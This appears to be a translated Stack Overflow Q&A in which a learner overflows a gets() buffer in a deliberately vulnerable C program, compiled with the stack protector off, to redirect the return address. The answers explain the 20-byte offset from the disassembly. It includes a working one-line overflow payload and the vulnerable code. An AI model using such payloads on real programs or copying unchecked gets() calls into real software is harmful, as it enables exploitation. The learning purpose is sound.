【问题标题】:Buffer overflow appeared before it is expected缓冲区溢出出现在预期之前
【发布时间】:2013-02-28 14:54:20
【问题描述】:

我正在尝试控制堆栈溢出。首先,这是我在 x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c) 上编译的 C 代码示例,

#include "stdio.h"

int CanNeverExecute()
{
    printf("I can never execute\n");
    return(0);
}

void GetInput()
{
    char buffer[8];

    gets(buffer);
    puts(buffer);
}

int main()
{
    GetInput();
    return(0);
}

然后是调试器(intel 风格):转储函数 GetInput 的汇编代码:

0x08048455 <+0>:    push   ebp
0x08048456 <+1>:    mov    ebp,esp
0x08048458 <+3>:    sub    esp,0x28
0x0804845b <+6>:    lea    eax,[ebp-0x10]

在这里我们可以看到 sub esp, 0x28 为缓冲区变量保留了 40 个字节(对吗?)。 CanNeverExecute 函数位于地址0x0804843c。 因此,为了运行CanNeverExecute 函数,我需要将 40 个字节放入缓冲区变量,然后将 8 个字节用于存储的基本指针,然后将 8 个字节的返回指针放入我想要更改的。

所以,我需要一个由 48 个 ASCII 符号组成的字符串,最后加上 \x3c\x84\x04\x08CanNeverExecute 函数的地址)。那是理论上的。但实际上我只需要在返回指针地址前 20 个字节:

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)

为什么它只需要 20 个字节而不是 48 个字节?我的错在哪里?

【问题讨论】:

    标签: c assembly gdb reverse-engineering


    【解决方案1】:

    首先,您的程序集是 32 位的。保存的 EBP 和返回地址各 4 个字节。

    其次,buffer 变量不是从栈顶 (ESP) 开始 - 它从 ebp-0x10 开始。距离返回地址 20 个字节。 0x10 是 16 个字节,然后是 4 个用于保存的 EBP。

    【讨论】:

      【解决方案2】:

      如果你在拆卸中占据更大的部分你会看到:

      08048445 <GetInput>:
      8048445:    55                      push   %ebp
      8048446:    89 e5                   mov    %esp,%ebp
      8048448:    83 ec 28                sub    $0x28,%esp
      804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
      804844e:    89 04 24                mov    %eax,(%esp)
      8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
      8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
      8048459:    89 04 24                mov    %eax,(%esp)
      804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
      8048461:    c9                      leave  
      8048462:    c3                      ret   
      

      保存ebp,将esp移至ebp,然后从esp中减去40(堆栈帧,如您所写), 但是指向缓冲区的指针通过eax寄存器传递给gets,并且eax加载了ebp-0x10!

      lea    -0x10(%ebp),%eax
      

      所以你只需要 20 个字节来溢出缓冲区(16 个保留 + 4 个用于存储在 32 位系统上的基指针)

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 2010-11-11
        • 2015-12-16
        • 1970-01-01
        • 2013-11-06
        • 1970-01-01
        • 2013-04-11
        • 2015-07-07
        相关资源
        最近更新 更多